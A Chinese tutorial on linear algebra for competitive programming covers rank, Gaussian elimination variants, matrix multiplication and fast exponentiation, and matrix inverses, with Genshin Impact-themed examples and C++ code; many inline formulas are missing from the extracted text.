在这里，我没有给出代码实现。因为对于一些特殊情况，化简出的矩阵不能很好地被计算机处理，更适合算法竞赛体质的高斯消元模板将在本章第五节给出。

第四节秩#

类比一元二次方程的实数根存在性判别法 —— 判别式法，即对于一元二次方程，实数根的个数。那么，矩阵方程是否也有类似的根存在性判别方法呢？

答案是有的，而且不止一种，这意味着“矩阵是否有解” 这样的问题会有多种解决方案。现在介绍的是最为简单常用的一种——秩。

在线性代数中，一个矩阵 A 的列秩是 A 的线性独立的纵列的极大数目。类似地，行秩是 A 的线性无关的横行的极大数目。即如果把矩阵看成一个个行向量或者列向量，秩就是这些行向量或者列向量的秩，也就是极大无关组中所含向量的个数。

……咱们抛掉这种看也看不懂的高级语文句法，听我给你总结：

通俗来讲，把一个矩阵化成最简形式（特指行阶梯形）后，非零行的个数就是矩阵的秩。这其实是秩的最大线性无关组的定义。再次白话总结：如果存在三个行向量（列向量一样的，保证所有向量都是行 / 列向量即可）：。根据高中数学中立体几何的知识 —— 和显然是共线的，这两个向量就是线性相关的。如果对于一组维向量，可以成为维空间的一组基底向量，那么它们就是线性无关的。

矩阵的秩用表示，或者用、、等表示。

现在明白了吧，如果一个矩阵的某两行线性相关，它们都会被初等行变换第三条狠狠薄纱 —— 在乘或除以一个非零数后相减，其中一行就会被全部消成 0，从方程组角度来看就是，带什么值都成立（相当于去重了一个方程）。

当然上边这一段也有表述不准确之处，假设有一个增广矩阵。初等行变换第三条秒了第一、第二行，然而事情有些不对劲了……

第二行不乐意了，它还存留这最后一点倔强，好像在说：“你总结的不对呢真是雑鱼”。但是明眼人都看得出来，这种事情是绝对不可能发生的，也就是无解。按照刚刚说的，这个增广矩阵的秩，可是它对应的系数矩阵的秩，就有且，于是我们就找到了矩阵无解的一个条件了。也就是。

再考虑有无穷解的情况：无非就是出现了的情况，此时可以代任何值。与无解不同，这次的最简行阶梯形矩阵，无论是系数矩阵还是增广矩阵形式，它们的秩都是相同的，并且都浪费了至少一行方程式。我们知道：一个三元一次方程组是无法用相异的（行向量形式表示下不共线）两个方程解出唯一值的，相反，解形如：表明由确定、而又由确定，然而这俩都不确定，导致这两个数可以取无穷多的值，也就导致矩阵有无穷组解。综上：矩阵有无穷组解的充要条件是（为未知数个数）。

最后就是有唯一解：如果一切进行顺利的话，既没有全零行，也没有无解行。那么此时系数矩阵和增广矩阵的秩会相同，且等于未知数个数，即。

总结，假设一个由个未知数组成的最简行阶梯形矩阵、以及它的增广矩阵。矩阵解的个数由如下规则导出：

解的个数

例 1.4.1 Delivery Mathematics 快递员的数学题#

「稻妻狛荷屋的人气跨国快递员绮良良在送货途中遇到了一个难题，你作为无所不知无所不晓的旅行者自然是乐意地接下了她的委托。当你来到委托地点时，你发现这是一道解谜题目……」
稻妻号称最难的方块解谜是一组由个正方体可旋转方块组成的阵列，击打其中的某个方块会使得与之相关联的其他方块共同旋转一个特定角度。在这个谜题中，每个方块每次仅能水平顺时针旋转 90 度，传动方式在下图给出。问若要使所有方块同时朝向北方，需要如何击打方块？给出任意可行解，但需要保证每个方块旋转的次数不超过 4（不击打也可以，相当于次数为 0）。
由于钟离先生远在海那一头的璃月喝茶听评书、宵宫也正忙着制作夏日祭的烟花而无法抽身、香菱在万民堂做饭、安柏在侦察蒙德郊区、芙宁娜忙着吃蛋糕…… 总之没有其他人召唤物能帮你解决这个问题，你只能凭借自己的力量解开这个谜题。

图1.3.1

问题分析：首先我们要搞清楚传动规则，我们会发现当你击打了一个方块，包括它在内、再按顺时针方向数两个方块都在旋转相同的角度。这也是这道题被称作难题的原因之一，只用想象力是很难想象的出来的…… 于是为了用代数方法解决该问题，我们选择用四个未知数、四个方程表示每个方块操作后的状态，问题解决的标志既为四个方块的状态均为（表示北方）。

算法设计：考虑到单个方块每旋转四次就相当于一次循环，因此我们重定义方向标，从北开始，顺时针方向将方位标记为。这么做可以避免一些复杂的取模运算。接着我们根据传动规则表示每个方块的状态，令方块 1-4 被击打次数分别为。以方块 1 为例：击打自己、3 号和 4 号都会导致 1 号顺时针旋转 90°，再算上 1 号初始朝向为，得到：。其他方块以此类推，解析出的方程组对其求解即可。这样的矩阵一定有唯一解，每个未知数都以表示，将一个自然数代入值即可解出答案。

解：设方块 1-4 的击打次数分别为，设朝向从北方按顺时针方向分别为。

根据传动规则，有如下线性方程组：

增广矩阵形式为：

（化简过程略），行阶梯形式为：

因为系数矩阵的秩与增广矩阵的秩相同且都等于未知数个数，因此矩阵有唯一解。易知的合法值满足的数学关系，此处求最小值，令，得到。

因此，最佳方案是暴击击打 2 号和 3 号方块各两次。

后日谈：有些读者可能会问，这个难道不是有无穷解吗？为什么上边说这个矩阵只有唯一解？其实这个矩阵确实只有唯一解，因为，造成它有无数组解的原因是这个自然数。我们在开头只为这个矩阵设定了四个未知数，因此矩阵只有四个元，因而有唯一解。事实上，这个问题也可以转化成同余高斯消元，在普通高斯消元的基础上变除法为乘逆元即可。

对于有（质数）个有效旋转面的方块，详见洛谷 P10315，顺便推一下我的题解。

第五节计算机高斯消元#

一. 实数高斯消元#

基本思路与手推时相同：

找到当前列元素绝对值最大的那一行，并移动到无序组的上端。
将这一行的第一个元素除成。

此时需要进行一个神秘步骤：让除开当前行和第列为零之外的所有行都用当前行消元一次。

如果有唯一解，我们会得到一个主对角线全为的增广矩阵，此时每个未知数的结果就是右侧的常数。如果无解，还是像手推那样判断。如果存在无数组解，输出解的方法如下：

枚举每一行，找到当前行第一个非零元素，并记录它的结果为右侧常数。该行的其余元素作为自由元，不作操作（或赋值为任意值）
重复操作直到遍历到全零行。

我们会发现上三角矩阵中同一列可能有多个非零系数，这意味着上层方程组的结果依赖于下层的求解，如果出现自由元将会十分棘手。用上述方法将矩阵进一步化为对角矩阵后，就不会存在这种依赖关系了，因而判断和输出变得简单了许多。

核心代码如下：

1
int gauss() {
2
    int rank = 0; // 秩
3
    for (int c = 1, r = 1; c <= n; c++) {
4
        int t = r;
5
        for (int i = r; i <= n; i++) {
6
            if (abs(matrix[i][c]) > abs(matrix[t][c])) t = i; // 找出主元绝对值最大的那一行
7
        }
8
        if (abs(matrix[t][c]) < EPS) continue; // 非零才能消成1
9
        if (t != r) swap(matrix[t], matrix[r]); // 交换
10
        for (int i = n + 1; i >= c; i--) matrix[r][i] /= matrix[r][c]; // 主元消成1
11
        for (int i = 1; i <= n; i++) { // 反复消元，成为对角线矩阵
12
            if (abs(matrix[i][c]) > EPS && i ^ r) { // 当前行不消，若当前位已经是零了也不消
13
                for (int j = n + 1; j >= c; j--) {
14
                    matrix[i][j] -= matrix[i][c] * matrix[r][j]; // 消成零
15
                }
16
            }
17
        }
18
        r++;
19
        rank++;
20
    }
21
    if (rank < n) {
22
        // 无解or无数组解
23
        for (int i = rank + 1; i <= n; i++) {
24
            for (int j = 1; j <= n + 1; j++) {
25
                if (abs(matrix[i][j]) > EPS) return NO_SOLUTION; // 无解
26
            }
27
        }
28
        for (int i = 1; i <= n; i++) {
29
            for (int j = 1; j <= n; j++) {
30
                if (abs(matrix[i][j]) > EPS) {
31
                    ans[j] = matrix[i][n + 1]; // 无数组解，找到主元并直接赋值，剩余的自由元自动赋值为0
32
                    break;
33
                }
34
            }
35
        }
36
        return INFINITE_SOLUTIONS;
37
    }
38
    for (int i = 1; i <= n; i++) ans[i] = matrix[i][n + 1]; // 有唯一解，此时常数项即为答案
39
    return UNIQUE_SOLUTION;
40
}

展开收起

复杂度。

二. 同余高斯消元#

上一节的例题就是同余高斯消元的一个典例，我们需要求解模意义下元非齐次线性方程组的特解（即每个未知数的解均在之内）。本质上和上面的高斯消元是一样的，不同的一点是我们需要把除法换成逆元，而且需要对减法取模格外小心；对于不为质数的情况，还需要额外考虑是否存在逆元。代码与上面雷同，不放了。

复杂度。

三. 异或高斯消元#

适用于方程组和奇偶性相关联的时候，此时列出的方程组是异或和起来的。鉴于方程组的系数只有，我们的判断和消元也会简单许多，只需判断当前元素是否为。实践时一般使用 bitset 来优化时间复杂度。

1
int gauss() {
2
    int rank = 0; // 矩阵的秩
3
    for (int c = 1, r = 1; c <= n; c++) {
4
        int t = r;
5
        for (int i = r; i <= n; i++) {
6
            if (matrix[i].test(c)) {
7
                // 找到绝对值最大的行（只要第一个系数是 1 即可）
8
                t = i;
9
                break;
10
            }
11
        }
12
        if (!matrix[t].test(c)) continue; // 跳过零行
13
        if (t ^ r) swap(matrix[r], matrix[t]); // 交换到第一行
14

15
        for (int i = 1; i <= n; i++) {
16
            // 与普通高斯消元的不同之处，对 1~n 行全部消元
17
            if (matrix[i].test(c) && i ^ r) {
18
                // 当前行不消，零行不消
19
                matrix[i] ^= matrix[r]; // 异或代替减法进行消元
20
            }
21
        }
22
        r++;
23
        rank++;
24
    }
25
    if (rank < n) {
26
        // 秩小于 n，可能是无数组解、有可能无解
27
        for (int i = rank + 1; i <= n; i++) {
28
            if (matrix[i].test(n + 1)) return NO_SOLUTION; // 存在类似于 0=k 的矛盾情况，无解
29
        }
30
        for (int i = 1; i <= n; i++) {
31
            for (int j = 1; j <= n + 1; j++) {
32
                if (matrix[i].test(j)) {
33
                    // 无数组解，找到主元并赋值
34
                    ans[j] = matrix[i][n + 1];
35
                    break;
36
                }
37
            }
38
        }
39
        return INFINITE_SOLUTIONS;
40
    }
41
    for (int i = 1; i <= n; i++) ans[i] = matrix[i][n + 1]; // 有唯一解，对角矩阵每个未知数的解就是常数项的值
42
    return UNIQUE_SOLUTION;
43
}

展开收起

复杂度。

洛谷习题：

第二章矩阵乘法#

第一节什么是矩阵乘法#

你经常能在各种线性代数的书上看到这样一串定义式：。这对于自学者（比如说我自己）其实是非常不友好的。他们在举例计算时很容易被绕进去，不仅计算速度慢不说，还很容易出错…… 那我在此举出一个简记方法：

将左边的矩阵的每一行看作每个未知数都代了确定值的方程、右边的矩阵每一列看作是前者方程的未知数系数。二者相乘本质上就是让未知数和系数匹配上，并计算出结果放入结果矩阵的特定位置。这个特定位置也有讲究，假如选择了前一个矩阵的行和后一个矩阵的列进行运算，求和过后的答案应该放在答案矩阵的位置。看以下例子来加深理解：

图2.1.1

那么什么样的矩阵才能进行乘法运算呢？答案是一个和一个的矩阵。观察规律，我们发现前矩阵的列数需要等于后矩阵的行数。根据如上概括的矩阵乘法的意义——即搭配未知数与系数。显然，当后一个矩阵的列数大于前一个矩阵的行数时，我们进行系数配对时就会发现多出几个失配的系数。矩阵乘法国不养闲人，这种单身汉显然是不可以光天化日下大摇大摆出来遛弯的。因此保证其中一个矩阵的行数等于另一个矩阵的列数后方可相乘。

类比四则运算的乘法，矩阵乘法是否也有结合律、分配律和交换律呢？很遗憾，不完全是，前二者是矩阵乘法运算所具备的性质、但最后那个交换律不是。不是所有的矩阵相乘都满足乘法交换律。但是还是有满足交换律的特例：同型零矩阵相乘、一个矩阵（可逆）和它的逆矩阵相乘，矩阵乘法满足交换律的充要条件证明过于复杂烧脑，此处不做陈述主要是我也不会证满足交换律的充要条件 qwq……。

证明：一般矩阵不满足乘法交换律#

假设一般矩阵，一般矩阵，则可以进行，因为的行数和的行数均为。得到的乘积是一个矩阵；反过来，无法进行，因为的列数不等于的行数，即。

假设。和均可进行，假设乘积为。当时，根据矩阵乘法的计算式，得到；当时，根据计算公式得。一般情况下，。得证。

矩阵和数字一样，也有幂次方的计算。特殊地，任意非零矩阵的零次幂都是一个的单位矩阵。主对角线的值全是 1，其余元素均为 0 的矩阵叫做单位矩阵，用字母表示；零矩阵的任何非零正整数次幂都是一个零矩阵，零矩阵的元素全部是 0，用字母表示。一个的单位矩阵是这样的：。在算法设计中，经常用类似于大数快速幂（位运算版本）的方式快速计算矩阵的幂次方。

例 2.1.1 Akasha Browser with Irminsul Kernel 世界树搜索引擎#

你作为刚刚清除了须弥世界树痼疾的英雄旅行者，突然对虚空终端的运作方式有了兴趣。你从大贤者那里了解逼问到，虚空终端实质上是一个仅显示搜索结果的前端程序，但关键词搜索功能却是基于须弥地下空间的世界树。带着这个疑问，你再次来到了世界树前，见到了小吉祥草王大人，希望能让她告诉你世界树的运作方式……

背景知识：很多浏览器的检索功能都依赖于矩阵运算，这里属于最简单的一种——我们只需要矩阵的乘法运算（某些情况下会用到转置，甚至正交性）。然而随着科技的快步发展，数据量的快速增加，这种方式如今只在很小的范围内被使用（由于码量小思维简单，它有时会在个人博客的关键词搜索功能中被用到）；目前广泛使用的一种是向量相似性搜索，它本质上是在一定范围内搜索与目标向量辐角最为接近的已有向量，在“矩阵的几何表示” 章节中会涉及到。这里介绍的是简单匹配搜索。

问题分析：因为矩阵乘法本质上是未知数和系数的配对求值，我们需要构造一个方法来使得“搜索内容” 和“已有内容” 配对。并且搜索引擎总会返回与你搜索的内容最为相似的结果，搜索“比尔・盖茨”，第一条肯定是关于他个人的介绍，而绝对不可能是一则寻狗启示……因此，我们设计的矩阵必须能在经历一轮运算后能够正确返回每个关键词出现的频率（简单点说就是出现次数），这样虚空终端才能对频率进行排序，并返回频率最大的那个结果。

算法设计：不妨考虑这样几个矩阵 —— 其中一个存储关键词、另一个存储搜索内容。比如我需要将几篇论文（为方便使用英文表示，并且假设词根相同的单词为同一个单词，即不考虑词汇变形）《Basic Structure of Elemental Monuments》（元素方碑的底层构造）、《Junior Elemental Reaction》（初等元素反应）、《Advanced Elemental Theory》（高等元素论）、《Architectural Structure in the Mausoleum of King Deshret》（赤王陵的建筑结构）以及《Advanced Sumeru Linguistic Analysis》（高等须弥语音学解析）。我们在此次挑选一些关键词存储（方便读者观察）：Structure、Element、Junior 和 Advanced。为每篇论文编号 1-5，矩阵如下图：

图例2.1.1

假如热爱学习的艾尔海森来到了教令院的大图书馆，它想测试一下这全新开发的文献查询系统，输入了 Advanced 一词。假设已录入数据库就是以上形式，我们如何构造一个“查询矩阵” 来和数据库矩阵进行运算呢？

首先根据矩阵乘法的前提要求，这个查询矩阵必须是四行。不妨让每行代表我们的词库词语，艾尔海森输入的是 Advanced—— 即对应数据库矩阵的第四列（未知数），我们要配对它的系数，因此它必须在第四行，才能保证系数正确匹配未知数。同理，查询矩阵的第一行对应 Structure、第二行 Element、第三行 Junior。他输入了一个 Advanced，因此我们的查询矩阵如下图：

图例2.1.2

乘法的目的是将二者匹配起来，得到的结果如下图：

图例2.1.3

返回矩阵的数字代表关键词在对应数据库项中的出现次数，也就是说，如果此时再加入一篇论文《Advanced Usage of the Word Advanced》（“Advanced” 一词的进阶用法），返回矩阵的最后一行（第六行）会出现一个。经过虚空终端的一轮排序，它自然就会来到第一位的位置。如果要分别查询两个不同关键词，在查询矩阵右侧再加一列即可，返回矩阵中多出的一列就是新关键词的出现次数；如果需要同时查询两个关键词，在同一列对应位置写入即可……

例 2.1.2 Light Novel Query 轻小说查询#

八重堂的主编八重神子最近在为轻小说的事情发愁…… 并不是因为销量不够，正相反：八重堂最近推出了一项跨国销售项目，各种经典作品被远销往了枫丹廷。这就牵涉出一个问题 —— 枫丹的市民们不想远离枫丹城区、横穿须弥沙漠、翻越璃月高山、躲避稻妻雷暴就为了看一看有哪些轻小说符合自己的独特口味…… 于是八重神子找到了见多识广的你，希望你能帮她做出一套轻小说内容检索系统。当然作为报酬给你的原石和摩拉是肯定是不会少的……
当然，这套系统有一定要求。因为有很多轻小说为了吸引读者，取的标题和内容是完全对不上号的，神子的想法是做一套正文内容检索 —— 每本轻小说的总字数在出版时就统计好了，但是苦于稻妻的信息存储技术不是很发达，神子希望存储在数据库矩阵里的数据尽可能小。请问该如何设计符合要求的存储算法？

问题分析：每本书中特定的词可能重复出现成百上千次（同样用英文单词表示，且同词根不同词形的两个词算作同一个单词参与计数），我们的要求是让数据尽可能小，既然总字数都已经给出了，我们不妨使用指定词出现的频率来表示这个词的出现次数（单词出现次数 = 全书总词数 × 出现频率）。这样的搜索方法叫做相对频率搜索。

算法设计：大致原理和例 2.1.1 里的一模一样，只是数据库矩阵存储的不再是出现总次数，而是对应词的相对频率。因而图例 2.1.3 可以变化为如下形式：

图例2.2.1

明显一看，第三篇文章出现 Advanced 的频率最高，应该优先返回。但是这个例子并不是很好（明明说了按内容搜索你还在这搜索标题），但是当加入大量的正文内容时，这个方法的优势也就体现出来了。这里由于篇幅原因就不举过于复杂的例子，本例仅作对相对频率搜索的原理的理解。

第二节初等矩阵与矩阵递推#

假设存在一个的单位矩阵，对只进行一次初等行变换得到的矩阵叫做初等矩阵，通常用表示。一个矩阵的行变换和列变换都可以用初等矩阵的乘法进行。

仅交换了两行的单位矩阵称作第 I 类初等矩阵（只进行了初等行变换第一条），将它左乘到一个矩阵前，可以进行相应的行运算；右乘到一个矩阵后可以进行相应的列运算。比如，一个第 I 类初等矩阵（交换第一、二行），和一个矩阵。左乘就是（交换一、二行）；右乘就是（交换一、二列）。

仅将某一行乘以一个非零倍数的矩阵叫做第 II 类初等矩阵（只进行了初等行变换第二条），左乘行运算、右乘列运算。例如一个第 II 类初等矩阵（第一行乘 3）和一个矩阵。（第一行乘 3）；（第一列乘 3）。

仅将某一行的非零倍加到另一行上的矩阵叫做第 III 类初等矩阵（只进行了初等行变换第三条），同样是左乘行运算、右乘列运算，但是有一点点小不同，不要根据思维定势随便写答案！例如一个第 III 类初等矩阵（第二行乘 2 加到第一行）和祖传的矩阵。（第二行的 2 倍加到第一行）；（第一列的 2 倍加到第二列）。注意初等矩阵的行列变换与乘法后矩阵的行列变换，哪一行/列乘了倍数、哪一行/列被加上了！

因此我们可以不必使用高斯消元，仅使用初等矩阵乘法也可以达到将普通矩阵消元变成最简行阶梯形矩阵！而且它可以进行列运算，甚至比高斯消元法更高级一点。

接下来是我们的矩阵递推。大家都知道斐波那契数列，它的前两项均为 1，此后的每一项都是前两项之和，即。大多数信息竞赛生在学习到递归算法时都会被要求写程序求解斐波那契数列的某一项，当然代码也非常的简单，如下：

1
#include <bits/stdc++.h>
2
using namespace std;
3

4
long long fib(int n)
5
{
6
    if (n == 1 || n == 2)
7
        return 1;
8
    return fib(n - 1) + fib(n - 2);
9
}
10

11
int main()
12
{
13
    int n;
14
    cin >> n;
15
    cout << fib(n) << endl;
16
    return 0;
17
}

展开收起

这段代码其实就是照搬了上面的通项公式，但是递归有个弊端就是效率和内存，当为百万级别、甚至十亿级别时它就显得很小丑了。那么我们如何用矩阵加速计算呢？我们用斐波那契数列的递推来向读者介绍矩阵递推的操作方法：

首先我们将通项公式变成我们想要求的形式，为了便于输出，要求结果矩阵的第一个元素就是答案，因此结果矩阵就是：。又因为，并且。我们还需要保证初始矩阵在经历一轮变换前后，始终都是同型的，这里是的矩阵，操作后也应该是的矩阵。于是我们的递推矩阵应该是一个矩阵。不妨将递推矩阵的每一行从上至下分别表示为和的系数，由以上二式可得：。别急，左边还有一列未填满 —— 我们希望每次操作都会把矩阵元素整体向左移一个位置，就好像一个滑动窗口（但不是单调队列），我们的第一列也可以求出来了。最终就是

那么求数列第项 —— 每次右乘都相当于多求出一项，并且当只被乘了一次时，结果矩阵的第一个元素是。因此要让第项来到第一个位置，我们需要进行次乘法，也就是的第一行第一列元素。可以写出如下代码：

1
#include <bits/stdc++.h>
2
#define MOD 1000000007
3
#define N 15
4
using namespace std;
5

6
typedef long long ll;
7

8
int n = 2; // 递推矩阵行列数均为2
9

10
struct Matrix {
11
    ll mat[N][N];
12

13
    Matrix()
14
    {
15
        memset(mat, 0.0, sizeof mat); // 初始化时内部变量自动置零，无需每次定义变量时再置零
16
    }
17

18
    void I()
19
    {
20
        for (int i = 1; i <= n; i++)
21
            mat[i][i] = 1; // 构造2×2单位矩阵
22
    }
23
};
24

25
Matrix operator*(const Matrix& l, const Matrix& r)
26
{
27
    // 重载乘法运算符，实现矩阵乘法
28
    Matrix res;
29
    for (int k = 1; k <= n; k++) {
30
        for (int i = 1; i <= n; i++) {
31
            for (int j = 1; j <= n; j++) {
32
                // res.mat[i][j] = (res.mat[i][j] + l.mat[i][k] * r.mat[k][j] % MOD) % MOD; // 取模用这个
33
                res.mat[i][j] += l.mat[i][k] * r.mat[k][j];
34
            }
35
        }
36
    }
37
    return res;
38
}
39

40
Matrix qpow(Matrix a, ll b)
41
{
42
    Matrix res;
43
    res.I(); // 单位矩阵相当于实数运算中的 1，因此任何矩阵乘以一个单位矩阵的结果都是这个矩阵
44
    while (b) {
45
        if (b & 1)
46
            res = res * a;
47
        a = a * a;
48
        b >>= 1;
49
    }
50
    return res;
51
}
52

53
int main()
54
{
55
    int a;
56
    cin >> a;
57

58
    Matrix A;
59
    A.mat[1][1] = A.mat[1][2] = 1; // 初始矩阵
60
    Matrix M;
61
    M.mat[1][2] = M.mat[2][2] = M.mat[2][1] = 1; // 递推矩阵
62
    A = A * qpow(M, a - 1);
63
    cout << A.mat[1][1] << endl;
64
    return 0;
65
}

展开收起

它的时间复杂度可以做到，是的长/宽，这里是；是幂。因此这里的时间复杂度是矩阵快速幂的，比朴素斐波那契递推的强了不少！

例 2.2.1 Lost Control! Blubberbeast’s Reproduction 膨膨兽泛滥危机#

由于枫丹水质的大幅改善，膨膨兽的天敌数量锐减，枫丹城区近海的膨膨兽也得到了更多的食物，进而开始大量地繁殖。水质改善的第一年，已登记的膨膨兽数量是头，恰好是斐波那契数列的第项。第二年，膨膨兽数量没有变化，之后的每一年，膨膨兽数量都是前两年之和的，已知膨膨兽的平均寿命是 15 年、枫丹廷近海能承载的最大膨膨兽数量是万只。那么请问年后近海的膨膨兽数量是多少？这年内枫丹廷是否需要向近海投放膨膨兽的天敌以遏制后者疯狂繁殖？（结果出现出现小数则向上取整）

问题分析：这是一道标准的矩阵快速幂递推问题，它基于斐波那契数列递推、却比它更高级。首先，它的初始值不再是而是，其次，从第三项起，每一项都是前两项和的一个倍数，这里是。那我们怎么构造递推矩阵来解决问题呢？

算法设计：已知初始矩阵。根据题目描述很容易写出通项公式：。我们要保证初始矩阵经过一次递推后，得到的新矩阵与初始矩阵同型，因此根据矩阵乘法定义，我们的递推矩阵必须是一个矩阵。于是拿出祖传单位矩阵模板开始构造递推矩阵！

对于前项和的问题，前面已经给出了，因而我们的递推矩阵变成了；接下来解决倍数问题 —— 根据通项公式，和的系数都是，我们构造递推矩阵时也要考虑到这一点，当时，递推公式展开如下：。如果第一行代表的系数、第二行代表的系数，第二列显然应该同时乘以 0.85，左边一列的作用是使原矩阵整体向左移一个位置。最后我们的递推矩阵就是。直接将初始矩阵右端乘以递推矩阵的幂次方就可以了。注意因为初始矩阵的右侧是第二年的膨膨兽个数，乘以递推矩阵本身，会让第二年的膨膨兽个数移到结果矩阵的前端，要想让第一项变成第年的个数，递推矩阵的幂必须是，即。

代码实现上，仅需将矩阵和矩阵的初始值改变就可以了。

最终结果：875076。结果小于 90 万，因此不需要投放天敌。

后日谈：那如果将系数改变为呢？输出的结果将是 977427，接近 100 万了。可见其增长速度之恐怖。

洛谷例题：

第三章矩阵的逆#

第一节浅谈矩阵的逆#

“逆” 这个词相信你早已听说过：同余意义下存在乘法逆元，大多数矩阵也存在逆矩阵。“逆” 普遍用来描述不同意义下的“倒数” 的概念，倒数一般满足的性质，即本体 × 本体的逆 = 单位一。矩阵中的“单位一” 是单位矩阵，也因此我们的逆矩阵需要满足这个式子：，并且这个式子倒过来也必须成立（为数不多的满足矩阵乘法交换律的情况之一）。

如果对于一个矩阵，存在另一个矩阵，使得：成立。则称矩阵是可逆的，或称之为非奇异的，矩阵是矩阵的逆矩阵，通常表示成。特殊地，单位矩阵的逆矩阵是它本身，即；零矩阵不可逆，或称之为奇异的，即不可能存在矩阵，使得。

这一点类比实数运算：的倒数永远是它本身、没有倒数，因为分母为，没有意义；，同时。

第二节行列式#

行列式是一种函数，写出来有点像矩阵的绝对值。它可以用来判断一个矩阵是否有解、也可以定量分析线性变换对原向量的影响。矩阵的行列式通常用或者是表示。这一节主要介绍行列式判断矩阵是否可逆。同时，行列式也可以用来判断方程组是否有解。

定义矩阵的行列式为。特殊地，矩阵的行列式就是的值。当一个矩阵的行列式为时，它是奇异的、也就是不可逆的；反之则非奇异/可逆。

那我们在上边只提到了两种尺寸的方阵，那对于、、以至于的方阵又该怎么办呢？答案是分而治之——分治！

第三节代数余子式展开/ 展开#

我们拿出祖传的矩阵，我们随机在其中挑选一位受害者。我个人看第二行第一列的元素不太顺眼，作为矩阵的定义者，我有权利将它变成自己所喜欢的样子，因此我把元素拿掉。可是拿掉以后它还是个！于是我将它所在的那一行以及那一列全部剔除，把剩下的元素按照原来的相对顺序靠拢，组成一个新的矩阵。现在整个矩阵没有元素了，看上去清爽多了。

像上边这样，将阶行列式中元素（）所在的第行、第列所有元素删去，剩下元素组成的新阶行列式叫做原行列式的余子式，用表示。

代表它是删去原矩阵第行和第列得到的余子式。它通常将一个高阶行列式拆分为一个个低阶行列式便于计算，这其中就是用到了分治（子问题递归）的思想。

我们要计算整个矩阵的行列式，就需要拆开余子式。最终分治成多个的矩阵求其行列式并加和起来。有一个定理：

当时，一个的方阵的行列式可以表示成任意行/列的余子式展开，即：
这样的计算方式称作代数余子式展开，或展开。

日常做题时，通常选取最多的那一行/列进行展开以减少计算量。

第四节矩阵的逆#

第一节解释清楚了逆矩阵的概念，那么如何求逆矩阵呢？首先是前提——判断矩阵是否可逆！我们引入矩阵行等价的概念：

如果一个矩阵能经过有限次初等行变换得到另一个矩阵，则称与是行等价的。

比如说你交换一个矩阵的两行（初等行变换第一条）得到的矩阵本质上还是原来的矩阵，因为如果当你把变换前后的矩阵拆分成一个个行向量，它们在坐标系上的关系不变（交换两行向量不变，同乘非零向量共线）。联系到第二节的初等矩阵知识，初等行变换可以转化为矩阵左乘初等矩阵，定义可以转换为如下的数学语言：

如果存在矩阵和矩阵，使得成立，则称与是行等价的；相应的，初等矩阵右乘就对应两个矩阵列等价。

矩阵行等价有反身性、传递性。例如：与行等价，与行等价，则以下两条均成立：

与行等价
与行等价

相应的，若有方程组，使得。在等号两端同时乘一个符合乘法运算条件的矩阵，新的方程与先前的方程的解相同。第二个方程与第一个方程就是一组等价方程组。

当且仅当与是等价方程组时，增广矩阵与行等价。

这个推论的证明需要用到一个定理：

若为一个初等矩阵，则它是非奇异的，且和是同类型矩阵。

证明：根据初等矩阵的定义，它是由单位矩阵经过单次初等行变换而来。根据行变换类型的不同，分为三种情况讨论：

第一种，为第 I 类初等矩阵。假设它由单位矩阵交换第和第行而来，左乘同样的矩阵，进行相应行运算 —— 右边的矩阵将交换行，因为原本就是交换行得来的。因此左乘后原式，根据逆矩阵的定义：的逆矩阵就是它本身，即，因此二者同类型，都是第 I 类初等矩阵。

第二种，为第 II 类初等矩阵。假设是的第行乘一个非零数而来，构造新的初等矩阵，若想使得，用于进行行运算的左矩阵必须要让第行乘上回到。因此的第行同乘以非零数，得到。因此二者都是第 II 类初等矩阵。

第三种，为第 III 类初等矩阵，且是的第行加上第行的倍得到的。因此构造初等矩阵，作为左矩阵，它的效果是让右矩阵的第行减去倍第行，因此，且是将第行乘加到第行得到的。二者同为第 III 类初等矩阵。定理得证。

两个非奇异矩阵等价的条件是：假设为一个的方阵，所以下面三条命题等价：

是非奇异的
只有平凡解
与行等价

在矩阵运算中，的零解就是这个方程的一个平凡解。（因为实在是太显而易见了所以很平凡）

证明：首先证第一条可以导出第二条。假设为非奇异方阵，是方程的一个解。因此。因为是的一个解，因此，原式。因而原方程仅有平凡解。

再证第二条可以导出第三条。可以化简成行阶梯形矩阵，方程变为。因为严格三角形矩阵可以通过变换得到单位矩阵，所以需要证明是否是严格三角形矩阵。如果的主对角线出现了，那肯定不是严格三角形矩阵。因为阶梯形矩阵要保证每一行都比它的上一行前边的元素多，因为是方阵，到最后一行时只能全部为。此时矩阵有无数组解，因为实际上他只列出了个方程，最后一行的方程不被计入系数矩阵和增广矩阵的秩，导致。因此有无数组解；反之若的主对角线全不为，它可以被化简成单位矩阵（使用高斯消元即可）。因此与行等价、与行等价，传递得与行等价。

最后证第三条可以导出第一条。根据行等价的定义，必有。根据方才证明的结论：初等矩阵是非奇异的，根据单位矩阵的性质：单位矩阵也是非奇异的。因而也是非奇异的，且。得证。

根据第三条，我们就可以知道一个求逆矩阵的方法了：既然，我们给等号两端同时乘一个，得到。因此又与行等价。前两个方程是一对等价方程，我们换元，假设，两个方程如下：。因此增广矩阵可以被化简为。我们只需高斯消元将分隔线左侧化成，右侧自然就是逆矩阵了。

例 3.4.1 How Aranaras Measure Timeflow 兰那罗的时间观念#

你在须弥冒险时，遇到了森林可爱的孩子们 —— 兰那罗。这些小小的生物有着与世无争的纯净心灵、以及大大的胸怀。你们一同冒险，击败了桓那兰那故土的污秽化身，拯救了须弥森林。然而，在和兰那罗对话期间，除开他们奇妙的比喻之外，还有一件事情是你久久无法忘怀的 —— 他们的时间单位。你听过最多的是“种子长成大树”、“太阳升起又落下”、“落落梅从出生到长大”、“大树长成雨林”……
假如你们经过很长一段时间的交谈，你渐渐明确了各种时间描述词之间的数学关系，关系如下文所述。请你求出每个描述词所对应的时间间隔。

已知大树长成雨林的时间是种子长成大树的倍。

树木从种子长成大树的期间，落落莓已经生长过整整次了（由种子出生到果实成熟和从成熟到下一颗种子扎根生长的时间相同）。

兰那罗从种子长成大树期间，普通人已从黑发少年变为白发苍苍的老人了。

普通人从青年到老年的时间足够让三颗种子先后成长为大树。

一片树木生长成为雨林，不仅足够让个人先后从少年变为老年，而且还需要额外的年时间完全长成一片健康的雨林。

请问“大树长成雨林”、“树木从种子长成大树”、“兰那罗从种子变成大树”、“落落莓从扎根到成熟” 以及“普通人从少年到老年” 所经过的时间各是多少年？（四舍五入到最近整数，单位：年）

问题分析：既然各个描述词对应时长的倍数关系都已给出，我们可以两两列出方程组求解。这里我们用到矩阵的逆来方便求出方程的解。

